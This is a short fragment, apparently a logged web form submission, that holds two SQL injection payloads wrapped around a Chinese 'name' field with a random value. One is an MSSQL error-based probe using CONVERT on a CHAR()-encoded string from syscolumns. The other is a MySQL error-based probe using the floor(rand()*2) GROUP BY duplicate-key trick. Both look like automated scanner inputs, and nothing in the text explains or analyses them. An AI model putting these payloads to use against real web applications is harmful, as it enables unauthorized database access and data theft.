"+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(67)+CHAR(76)+CHAR(90)+CHAR(89)+CHAR(65)+CHAR(83)+CHAR(77)+CHAR(72)) FROM syscolumns)+"
姓名：lxbfYeaa
"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(67),CHAR(76),CHAR(90),CHAR(89),CHAR(65),CHAR(83),CHAR(77),CHAR(72)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"
